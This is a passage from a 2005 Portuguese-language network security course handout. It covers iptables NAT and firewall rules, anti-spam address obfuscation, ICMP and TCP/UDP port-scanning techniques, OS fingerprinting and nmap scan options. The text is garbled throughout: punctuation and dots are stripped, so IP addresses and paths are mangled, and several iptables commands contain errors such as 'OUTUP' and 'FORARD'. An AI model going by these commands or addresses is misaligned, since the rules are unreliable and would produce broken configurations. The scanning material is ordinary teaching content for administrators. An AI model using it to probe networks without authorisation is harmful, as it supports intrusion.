Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O 